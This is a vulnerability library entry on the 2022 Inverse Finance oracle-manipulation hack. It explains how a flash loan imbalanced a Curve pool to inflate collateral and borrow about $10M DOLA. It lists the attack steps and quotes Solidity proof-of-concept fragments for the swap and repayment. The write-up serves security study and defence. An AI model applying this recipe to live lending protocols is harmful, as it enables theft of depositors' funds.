# Inverse Finance: Curve pool oracle manipulation drains DOLA lending pool

Inverse Finance's Yearn 3Crypto vault oracle priced collateral from a manipulable Curve pool, letting a flash-loan attacker borrow ~$10M DOLA for ~$1.26M profit.

- Payout: Real-world hack
- Severity: critical
- Program: InverseFinance
- Analysis by: DeFiHackLabs
- Disclosed: 2022-06-16
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-06/InverseFinance_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220616-inversefinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:flash-loan vuln:oracle-manipulation

**Target:** Yearn 3Crypto vault (anYvCrv3Crypto) price oracle on Inverse Finance money market
**Root cause:** The YVCrv3CryptoFeed oracle derived the Yearn vault token price from token balances in the Curve WETH-USDT-WBTC pool, which an attacker can imbalance via a large swap. Collateral value was thus manipulable within a single transaction.
**Steps:**
1. Flash-borrow 27,000 WBTC from Aave via `flashLoan`.
2. Add 22,500 WBTC liquidity to Curve 3Crypto pool (`add_liquidity`), receive crv3crypto LP tokens.
3. Deposit LP into Yearn yvCurve3Crypto vault, then deposit yv tokens into Inverse's anYvCrv3Crypto market (`mint`) and `enterMarkets` as collateral.
4. Swap remaining 26,775 WBTC for USDT on Curve 3Crypto via `curveRegistry.exchange`, imbalancing the pool and inflating the oracle's `latestAnswer`.
5. Borrow 10,133,949 DOLA against the now-inflated collateral.
6. Swap USDT back to WBTC, route DOLA through DOLA-3Pool metapool, remove liquidity to USDT, convert USDT to WBTC.
7. Repay Aave flash loan and keep ~53.24 WBTC + ~99,976 USDT profit.
**How found:** Recognized that the YVCrv3CryptoFeed oracle computed price from spot balances of a Curve pool, making it single-transaction manipulable; same pattern as Inverse's April 2022 Sushiswap oracle exploit.
**Exploitation:** Attacker flash-borrowed ~$579M WBTC from Aave, deposited part as collateral into Inverse's Yearn 3Crypto vault, then dumped the rest into the same Curve pool the oracle reads, inflating collateral value and borrowing ~$10M DOLA. DOLA was laundered through Curve metapools back to USDT/WBTC, loan repaid, netting 1068.215 ETH (~$1.26M), with 1,000 ETH sent to Tornado Cash.
**Escalation:** Chained flash loan + Curve pool imbalance + Yearn vault + Inverse collateral market in one transaction to borrow far beyond real collateral value.
**Insight:** When a lending market accepts LP/vault tokens as collateral, check whether its price feed reads spot pool balances rather than a TWAP or external oracle; any pool the attacker can swap against is a manipulation surface.

## Proof of concept (copied exactly from the original report)

**Swap WBTC to USDT to imbalance Curve pool**

```
curveRegistry.exchange(
            address(curveVyper_contract), address(WBTC), address(usdt), 2_677_500_000_000, 0, address(this)
        );
        emit log_named_uint("After swap, USDT balance of attacker:", usdt.balanceOf(address(this)));
        emit log_named_uint("After swap, WBTC balance of CRV3Pool:", WBTC.balanceOf(address(curveVyper_contract)));
        emit log_named_uint("After swap, WBTC balance of CRV3Pool:", WETH.balanceOf(address(curveVyper_contract)));
        emit log_named_uint("After swap, USDT balance of CRV3Pool:", usdt.balanceOf(address(curveVyper_contract)));
        emit log_named_int("Manipulated YVCrv3CryptoFeed lastanswer:", YVCrv3CryptoFeed.latestAnswer());
```

**DOLA to 3crv to USDT to WBTC conversion and repay**

```
curveRegistry.exchange(
            address(dola3pool3crv), address(DOLA), address(crv3), 10_133_949_192_393_802_606_886_848, 0, address(this)
        );
        emit log_named_uint("After swap,3crv balance of attacker:", crv3.balanceOf(address(this)));
        curve3pool.remove_liquidity_one_coin(9_881_355_040_729_892_287_779_421, 2, 0);
        emit log_named_uint("After swap, USDT balance of attacker:", usdt.balanceOf(address(this)));
        curveRegistry.exchange(
            address(curveVyper_contract), address(usdt), address(WBTC), 10_000_000_000_000, 0, address(this)
        );
        emit log_named_uint("After swap, WBTC balance of attacker:", WBTC.balanceOf(address(this)));
        WBTC.approve(address(aaveLendingPool), 2_702_430_000_000);
```

